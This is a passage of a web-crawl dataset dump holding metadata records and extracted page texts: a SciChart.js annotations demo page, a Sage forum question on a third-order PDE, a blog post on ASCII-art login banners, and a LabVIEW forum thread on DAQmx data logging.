0.022522520273923874, "rps_doc_frac_chars_top_4gram": 0.027348779141902924, "rps_doc_books_importance": -415.9803161621094, "rps_doc_books_importance_length_correction": -415.9803161621094, "rps_doc_openwebtext_importance": -230.63442993164062, "rps_doc_openwebtext_importance_length_correction": -230.63442993164062, "rps_doc_wikipedia_importance": -217.1793670654297, "rps_doc_wikipedia_importance_length_correction": -217.1793670654297 }, "fasttext": { "dclm": 0.16380512714385986, "english": 0.8735939264297485, "fineweb_edu_approx": 2.7362046241760254, "eai_general_math": 0.7864322662353516, "eai_open_web_math": 0.18978756666183472, "eai_web_code": 0.7494667768478394 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.452", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-5,806,187,582,437,534,000
SciChart.js v^1.4.1647 JavaScript Chart Examples SciChart.js ships with ~40 JavaScript Chart Examples which you can browse, play with, view the source code and see related documentation. All of this is possible with the SciChart.js Examples Suite, which ships as part of the SciChart.js SDK JavaScript Chart Annotations Demonstrates how to add Annotations (shapes, boxes, lines, text) to a JavaScript Chart using SciChart.js, High Performance JavaScript Charts An introduction to the Annotations API in SciChart.js, which allows SVG elements or custom WebGL rendered elements to be placed over the chart at specific X,Y data-values. Several annotations are available out of the box, such as LineAnnotation, BoxAnnotation, TextAnnotation, and we provide a CustomAnnotation and SVGAnnotation which allows for custom shapes to be placed over the chart. Tips! The AnnotationBase type has properties for x,yCoordinateMode which allow you to place annotations are relative or absolute values. Great for docking annotations to the top,left,right,bottom of a chart, or creating watermarks! SciChart Ltd, 16 Beaufort Court, Admirals Way, Docklands, London, E14 9XL.
{ "url": "https://demo.scichart.com/javascript-chart-annotations", "source_domain": "demo.scichart.com", "snapshot_id": "crawl=CC-MAIN-2021-39", "warc_metadata": { "Content-Length": "82972", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:F2HU73VQNBWIWRVHNTK3BFFWAJFKV63Y", "WARC-Concurrent-To": "<urn:uuid:b5bdce0b-db42-4b76-86f6-919fdb564f9a>", "WARC-Date": "2021-09-24T12:30:28Z", "WARC-IP-Address": "20.49.104.3", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:3AAFAH6Z353FIVWZNIGNS3E66TRXMX6C", "WARC-Record-ID": "<urn:uuid:292f50ab-edec-44cf-baae-51914f2ca202>", "WARC-Target-URI": "https://demo.scichart.com/javascript-chart-annotations", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:0301a8ff-c84c-4c4b-ba0b-42ecbdb081a8>" }, "warc_info": "isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-93\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 12, 23, 24, 50, 51, 293, 294, 323, 324, 465, 466, 638, 639, 856, 857, 863, 864, 1090, 1091 ], "line_end_idx": [ 12, 23, 24, 50, 51, 293, 294, 323, 324, 465, 466, 638, 639, 856, 857, 863, 864, 1090, 1091, 1165 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1165, "ccnet_original_nlines": 19, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3155555725097656, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.031111110001802444, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.21333332359790802, "rps_doc_frac_unique_words": 0.6167664527893066, "rps_doc_mean_word_length": 5.670658588409424, "rps_doc_num_sentences": 15, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.368396759033203, "rps_doc_word_count": 167, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.04646250978112221, "rps_doc_frac_chars_dupe_6grams": 0.04646250978112221, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.06335797160863876, "rps_doc_frac_chars_top_3gram": 0.048574451357126236, "rps_doc_frac_chars_top_4gram": 0.0295670498162508, "rps_doc_books_importance": -74.34014129638672, "rps_doc_books_importance_length_correction": -74.34014129638672, "rps_doc_openwebtext_importance": -48.42400360107422, "rps_doc_openwebtext_importance_length_correction": -47.445899963378906, "rps_doc_wikipedia_importance": -23.077407836914062, "rps_doc_wikipedia_importance_length_correction": -23.077407836914062 }, "fasttext": { "dclm": 0.01840841956436634, "english": 0.7801240086555481, "fineweb_edu_approx": 2.326883316040039, "eai_general_math": 0.35148686170578003, "eai_open_web_math": 0.39045608043670654, "eai_web_code": 0.41458815336227417 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "-1", "labels": { "level_1": "", "level_2": "", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-5,914,515,453,475,185,000
Ask Your Question 0 solve differential equation asked 2014-10-14 17:10:24 -0600 Martin Maxa gravatar image updated 2014-10-17 10:30:38 -0600 vdelecroix gravatar image I need to solve this third-order linear partial differential equation: d^2/dx^2 d/dy f(x,y) = f(x,y) - x*y Could you please help me to do this? Thank you very much for your advise! edit retag flag offensive close merge delete Comments Is this something that even has a symbolic solution? There is some numeric stuff that should be usable with PDEs, but I'm not as familiar with that. kcrisman gravatar imagekcrisman ( 2014-10-16 08:56:09 -0600 )edit 1 True. It really depends on what you mean by solve... it can be a symbolic solution, an explicit (convergent) Taylor expansion at the origin, a numerical approximation, etc. vdelecroix gravatar imagevdelecroix ( 2014-10-17 10:31:34 -0600 )edit 1 answer Sort by » oldest newest most voted 0 answered 2015-05-08 09:05:55 -0600 GM3D gravatar image Not sure if you still need an answer, but here goes; Define g(x) = f(x) - x*y, this makes the given equation homogeneous; d^2/dx^2 d/dy g(x, y) = g(x, y) And now assume g(x, y) = A(x)B(y). That lets you factorize the equation into two parts; d^2/xx^2 A(x) = a A(x), d/dy B(y) = (1/a) B(y), with some positive constant a. This can be solved as A(x) = C1 exp(+-sqrt(a) x), B(y) = C2 exp(y / a) And by multiplying them back, g(x, y) = (C1 * C2) exp(+-sqrt(a) x + y / a) = C exp(+-sqrt(a) x + y / a) Therefore, f(x, y) = C exp(+-sqrt(a) x + y / a) + x*y. General solution is linear combination of these solution with different values of C and a. But I might have missed something there, because this solution contains only two arbitrary parameters whereas the original equation is a third order differential equation. edit flag offensive delete link more Your Answer Please start posting anonymously - your entry will be published after you log in or create a new account. Add Answer Question Tools 1 follower Stats Asked: 2014-10-14 17:10:24 -0600 Seen: 748 times Last updated: May 08 '15
{ "url": "https://ask.sagemath.org/question/24486/solve-differential-equation/?sort=votes", "source_domain": "ask.sagemath.org", "snapshot_id": "crawl=CC-MAIN-2020-50", "warc_metadata": { "Content-Length": "57318", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:SLNSUEZQJWVL5JFZB4BCMNG54Q2S3VBZ", "WARC-Concurrent-To": "<urn:uuid:a5653a91-0d90-481f-91b1-d8bb75aa05cf>", "WARC-Date": "2020-11-24T16:04:05Z", "WARC-IP-Address": "140.254.118.68", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:BL6V5QVLJMZ7RKXK6EQ5WR4XRK5SEK6U", "WARC-Record-ID": "<urn:uuid:ade0e733-99e1-42ac-8782-78465c27a80b>", "WARC-Target-URI": "https://ask.sagemath.org/question/24486/solve-differential-equation/?sort=votes", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:44c2ac6c-8ac1-40d7-9f61-37b34708d988>" }, "warc_info": "isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-245.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 18, 20, 21, 49, 50, 82, 83, 110, 111, 145, 146, 172, 173, 244, 245, 318, 319, 356, 357, 402, 403, 412, 413, 562, 563, 629, 631, 632, 805, 806, 876, 877, 886, 887, 922, 924, 925, 960, 961, 981, 982, 1035, 1036, 1105, 1106, 1138, 1139, 1227, 1228, 1307, 1308, 1379, 1380, 1410, 1411, 1485, 1486, 1541, 1542, 1633, 1634, 1806, 1807, 1844, 1845, 1857, 1858, 1964, 1965, 1976, 1977, 1992, 1993, 2004, 2005, 2011, 2012, 2045, 2046, 2062, 2063 ], "line_end_idx": [ 18, 20, 21, 49, 50, 82, 83, 110, 111, 145, 146, 172, 173, 244, 245, 318, 319, 356, 357, 402, 403, 412, 413, 562, 563, 629, 631, 632, 805, 806, 876, 877, 886, 887, 922, 924, 925, 960, 961, 981, 982, 1035, 1036, 1105, 1106, 1138, 1139, 1227, 1228, 1307, 1308, 1379, 1380, 1410, 1411, 1485, 1486, 1541, 1542, 1633, 1634, 1806, 1807, 1844, 1845, 1857, 1858, 1964, 1965, 1976, 1977, 1992, 1993, 2004, 2005, 2011, 2012, 2045, 2046, 2062, 2063, 2087 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2087, "ccnet_original_nlines": 81, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.30158731341362, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03350970149040222, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.40035271644592285, "rps_doc_frac_unique_words": 0.5810397863388062, "rps_doc_mean_word_length": 4.629969596862793, "rps_doc_num_sentences": 14, "rps_doc_symbol_to_word_ratio": 0.0017636700067669153, "rps_doc_unigram_entropy": 5.003659248352051, "rps_doc_word_count": 327, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.015852050855755806, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.007926019839942455, "rps_doc_frac_chars_top_3gram": 0.01981505937874317, "rps_doc_frac_chars_top_4gram": 0.021796569228172302, "rps_doc_books_importance": -258.55145263671875, "rps_doc_books_importance_length_correction": -258.55145263671875, "rps_doc_openwebtext_importance": -145.6603240966797, "rps_doc_openwebtext_importance_length_correction": -145.6603240966797, "rps_doc_wikipedia_importance": -98.55046844482422, "rps_doc_wikipedia_importance_length_correction": -98.55046844482422 }, "fasttext": { "dclm": 0.7163813710212708, "english": 0.8742454648017883, "fineweb_edu_approx": 1.9677995443344116, "eai_general_math": 0.9798343181610107, "eai_open_web_math": 0.25916731357574463, "eai_web_code": 0.019886910915374756 } }
{ "free_decimal_correspondence": { "primary": { "code": "515.353", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Calculus and Mathematical analysis" } }, "secondary": { "code": "510", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-6,998,206,832,730,914,000
MOTD You all probably know that the most important thing on any multi user system is a pretty MOTD. Between some other things in the past couple of weeks I decided to refresh the MOTDs for the galaxy and Seawulf clusters. I discovered 2 awesome applications while compiling the MOTD. First is a jp2a, it takes a JPG and converts it to ASCII and it even supports color. I used this to render the milky way as part of the galaxy MOTD. While this tool is handy it needs some assistance, you should clean up and simplify the JPGs before you try to convert them. The second tool is a must for any form of ASCII-art editing. Its called aewan (ace editor without a name). It makes editing a lot easier, it supports coloring, multiple layers, cut/paste/move, and more. Unfortunately it uses a weird format and does not have an import feature, so its PITA to import an already existing ASCII snippet -- cut and paste does work but it looses some information -- like color. Aewan comes with a sister tool called aecat which 'cats' the native aewan format into either text (ANSI ASCII) or HTML. Below is some of my handy work. Because getting browsers to render text is PITA I decided to post the art-work as an image. Galaxy MOTD: galaxy motd Seawulf MOTD: seawulf motd I also wrote a short cronjob which changes the MOTD every 5 min to reflect how many nodes are queued/free/down One more resource I forgot to mention is the ascii generator. You give it a text string and it returns in a fancy looking logo. Finally when making any MOTDs try to stick to the max width of 80 and heigh of 24. This way your art work won't be chopped even on ridiculously small terminals. Debian  LILUG  News  Software  2008-03-02T23:41:22
{ "url": "http://sukhanov.net/motd.html", "source_domain": "sukhanov.net", "snapshot_id": "crawl=CC-MAIN-2019-13", "warc_metadata": { "Content-Length": "4778", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:JJBD6LQWLGUNCWZ5DWB5PQUEPOGRB2WB", "WARC-Concurrent-To": "<urn:uuid:89c12094-083b-4493-b610-80c2dd86de44>", "WARC-Date": "2019-03-23T09:28:10Z", "WARC-IP-Address": "54.85.30.17", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:UJJIFCXQSAU3CRWDKJU3CTN5YOS7HRJ3", "WARC-Record-ID": "<urn:uuid:46240a7a-e045-4999-b2f4-132d48b4b853>", "WARC-Target-URI": "http://sukhanov.net/motd.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:7a2c1e29-abc7-46f6-828f-401c3e2f0d22>" }, "warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-69-221-252.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 5, 6, 285, 286, 560, 561, 967, 968, 1212, 1225, 1237, 1251, 1264, 1375, 1376, 1504, 1505, 1666, 1667 ], "line_end_idx": [ 5, 6, 285, 286, 560, 561, 967, 968, 1212, 1225, 1237, 1251, 1264, 1375, 1376, 1504, 1505, 1666, 1667, 1717 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1717, "ccnet_original_nlines": 19, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.39669421315193176, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.06611569970846176, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.14325068891048431, "rps_doc_frac_unique_words": 0.5941558480262756, "rps_doc_mean_word_length": 4.383116722106934, "rps_doc_num_sentences": 18, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.860518455505371, "rps_doc_word_count": 308, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.006666670087724924, "rps_doc_frac_chars_top_3gram": 0.014814809896051884, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -161.09475708007812, "rps_doc_books_importance_length_correction": -149.89634704589844, "rps_doc_openwebtext_importance": -83.28123474121094, "rps_doc_openwebtext_importance_length_correction": -83.28123474121094, "rps_doc_wikipedia_importance": -68.90249633789062, "rps_doc_wikipedia_importance_length_correction": -61.03377151489258 }, "fasttext": { "dclm": 0.13324719667434692, "english": 0.9220789074897766, "fineweb_edu_approx": 2.0017902851104736, "eai_general_math": 0.7763980031013489, "eai_open_web_math": 0.1958797574043274, "eai_web_code": 0.15065783262252808 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,396,790,067,530,116,600
LabVIEW cancel Showing results for  Search instead for  Did you mean:  stop and start saving in multiple files without stopping run (cdaq) Hi,   I'm very new to Labview. I'm currently trying to create a Labview program for my CDAQ where I can constantly look at the temperature and RTD plots. I want to leave them running constantly. From time to time I want to be able to start saving data and stop when I want to without stopping the whole program from running. Whenever I stop saving data I want to save this data in a new file and not the same file as before. Currently I have to stop the whole program from running to create a new file. Furthermore the time in the saved file should be able to start from 0 when i start saving and reset whenever i stop. Currently I unfortunately only managed to stop the time while it's turned off of saving. Once i restart it will switch to the time the program has started running.   Thanks in advance! 0 Kudos Message 1 of 6 (177 Views) A couple of comments (related to your being "new to LabVIEW"): • Try to avoid using the Dreaded DAQ Assistant (DDA) and its evil Twin, the Dynamic Data Wire (the black-and-white Checkerboard Wire coming out of the DDA).  There are excellent White Papers on DAQmx, and one of the best is "Learn 10 Functions in NI-DAQmx and Handle 80 Percent of your Data Acquisition Applications" (start typing this into a Web Search Engine and you should quickly find it, even if I missed a word or two in the title).  Disregard the first item (about the DDA) and see how simple it is to use MAX and/or the LabVIEW Project to create a DAQmx Task, then "do 80% of your tasks" with a configuration function,a Start function, a read (or write) function in a loop, and a Stop function. • Don't use the High Resolution Relative Seconds here.  This is really designed when you want to benchmark (= measure execution time) some LabVIEW code.  The "Date/Time in Seconds" function returns a LabVIEW TimeStamp -- subtracting two TimeStamps (from "Before" and "After") gives you a Dbl related to "elapsed Seconds". • You have both a "Date/Time in Seconds" and a "Get Date/Time String" function whose "TimeStamp" input is unwired.  The unwired input means that Get Date/Time String does a second "Date/Time in Seconds", which is silly and might even return a (slightly) different value than the function in your code.  So connect a wire from the output of "Date/Time in Seconds" to "Get Date/Time String". • As a general rule, all functions (and sub-VIs that you write) have "default" input values.  Be sure you either wire what you want into the inputs, or know (and accept) the use of the "default value".  For most numeric inuts, the default value iis 0, but for "Date/Time in Seconds", the default value is "Now!". • As to saving data, that is most easily done in conjunction with acquiring the data.  Suppose you are (continuously) acquiring data, 1000 points at 1 kHz.  Every second, a new "chunk" of data is acquired that can be graphed and saved to a file.  Consider the file-saving part of the situation, which can exist in several "States" -- not saving, Starting to Save (which involves opening a file), Saving (to an open File), and Stop Saving (either writing the current data as the "last entry" or simply closing the file without writing anything more, your decision).  This "sequence of actions, dependent on some State of the program" is called a State Machine, and is pretty easy to create in LabVIEW with a Case Statement whose Input is the "State" (which can be a number, 0, 1, 2, 3, a String "Idle", "Open", "Write", "Close", or an Enum consisting of the choices Idle, Open, Write, Close.  This might be a little advanced for you, but you can look up State Machines in LabVIEW and (probably) find some simple examples. • Another "feature" of the program you are trying to develop is that you have two semi-independent actions going on, acquiring (and displaying) data continously, and saving "chunks" of the data without interfering with the continuous acquisition process.  Sounds like two separate processes working simultaneously, and in parallel.  And LabVIEW supports this, too, in a very natural way -- it is called the "Producer/Consumer Pattern", which you'll learn about soon enough. Bob Schor Message 2 of 6 (133 Views) Thank you for your reply. I tried converting my code to DAQmx and used 2 different methods.   - I'm not too sure on how to use the Date/Time in Seconds instead of my High Resolution Relative Seconds as the first one apprently has the wrong data type to be saved together with the variables. Furthermore I don't understand how I initialise that with "now"? - I have managed to get both running at the same time (the while loop responsible for saving data and the while loop responsible for showing the data). I don't know though how to "restart" the while loop after I've saved my document once. I thought about putting it in a another case structure and while loop, but then I would constantly get asked if I want to save the document after I've ended the inner while loop. I thought about using a global variable that would turn false after the program has saved once. And would turn true again once the inner loop is started again. But I don't know how to wire that to the case structure or even give a variable a positive or negative value. You had proposed to use a state machine for that, but I don't know how I would connect the actions of different states with one another.       Many thanks.   0 Kudos Message 3 of 6 (92 Views) I have now managed to do the last thing I've mentioned to restard my while loop with local variables. I have noticed that it seems that the data my RTD is collecting apparently has some problems with the clock. I put a data example in the attachments. I think that is because of the sample clock I put at the Temperature measurment but not the RTD. When I'm trying to implement a similar clock there I get the error of: "Possible reason(s): Specified property cannot be set while the task is running. Set the property prior to starting the task, or stop the task prior to setting the property. Property: SampQuant.SampPerChan Task Name: _unnamedTask<40D6>" Download All 0 Kudos Message 4 of 6 (84 Views) @jolli12 wrote: - I'm not too sure on how to use the Date/Time in Seconds instead of my High Resolution Relative Seconds as the first one apprently has the wrong data type to be saved together with the variables. Furthermore I don't understand how I initialise that with "now"? Sorry -- I thought the "Help" for this Function would be more useful.  "Get Date/Time in Seconds" returns "now" in a special LabVIEW 128-bit datum called a "TimeStamp", which represents the number of seconds (and fractional seconds) since 1 Jan 1904 (UTC).  There are functions in the Time Palette that will let you express the TimeStamp as "Date and Time", but you can also "do arithmetic" with it.  So if you save the TimeStamp when you start collecting Data ("Start of Experiment") and get a second TimeStamp when you finish ("End of Experiment"), subtracting the two will give you the Duration of the Experiment.  Since the TimeStamp is already "in Seconds", subtracting two of them gives you a Dbl representing the elapsed time!  Divide by 60 to get "Minutes", by 3600 to get "Hours", etc. Bob Schor Message 5 of 6 (70 Views) There is an alternative route here that will get you farther faster. • Create a New Project from Template • Choose Continuous Measurement and Logging (DAQmx) • Throw out the old code. This should get you your Pause and Start new File features without any modification as well as 95% of the DAQmx configuration.   There will even be a link to the Developer Walk-through video and Documents that will explain how the sections of code work and can be expanded. "Should be" isn't "Is" -Jay Message 6 of 6 (66 Views)
{ "url": "https://forums.ni.com/t5/LabVIEW/stop-and-start-saving-in-multiple-files-without-stopping-run/m-p/4239526", "source_domain": "forums.ni.com", "snapshot_id": "crawl=CC-MAIN-2022-33", "warc_metadata": { "Content-Length": "556511", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:ZZ76MUI6K5NICBUC6CGKUYF5PIMJ5TGO", "WARC-Concurrent-To": "<urn:uuid:988f5381-09d0-429a-8761-ac720fe6d859>", "WARC-Date": "2022-08-12T17:25:25Z", "WARC-IP-Address": "104.16.35.15", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:EKDNHJW5QWTH76JLRJW2IL6YJP4JOE3D", "WARC-Record-ID": "<urn:uuid:9baad22b-aea0-420c-8dfd-506c4830db9c>", "WARC-Target-URI": "https://forums.ni.com/t5/LabVIEW/stop-and-start-saving-in-multiple-files-without-stopping-run/m-p/4239526", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:76301510-1ffd-4543-84b7-99aaa9535877>" }, "warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-227\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 8, 9, 16, 37, 57, 72, 73, 141, 142, 146, 147, 149, 150, 175, 176, 340, 341, 649, 650, 931, 932, 934, 935, 954, 955, 963, 978, 990, 991, 1054, 1055, 1760, 2084, 2476, 2791, 3814, 4290, 4291, 4301, 4302, 4317, 4329, 4330, 4356, 4357, 4423, 4424, 4426, 4427, 4689, 4690, 5378, 5379, 5516, 5517, 5519, 5520, 5522, 5523, 5525, 5526, 5539, 5540, 5542, 5543, 5551, 5566, 5577, 5578, 5998, 5999, 6020, 6021, 6081, 6174, 6175, 6207, 6208, 6239, 6240, 6253, 6261, 6276, 6287, 6288, 6304, 6305, 6567, 6568, 6569, 7364, 7365, 7375, 7376, 7391, 7402, 7403, 7472, 7473, 7512, 7566, 7594, 7595, 7722, 7723, 7725, 7726, 7871, 7872, 7873, 7901, 7916 ], "line_end_idx": [ 8, 9, 16, 37, 57, 72, 73, 141, 142, 146, 147, 149, 150, 175, 176, 340, 341, 649, 650, 931, 932, 934, 935, 954, 955, 963, 978, 990, 991, 1054, 1055, 1760, 2084, 2476, 2791, 3814, 4290, 4291, 4301, 4302, 4317, 4329, 4330, 4356, 4357, 4423, 4424, 4426, 4427, 4689, 4690, 5378, 5379, 5516, 5517, 5519, 5520, 5522, 5523, 5525, 5526, 5539, 5540, 5542, 5543, 5551, 5566, 5577, 5578, 5998, 5999, 6020, 6021, 6081, 6174, 6175, 6207, 6208, 6239, 6240, 6253, 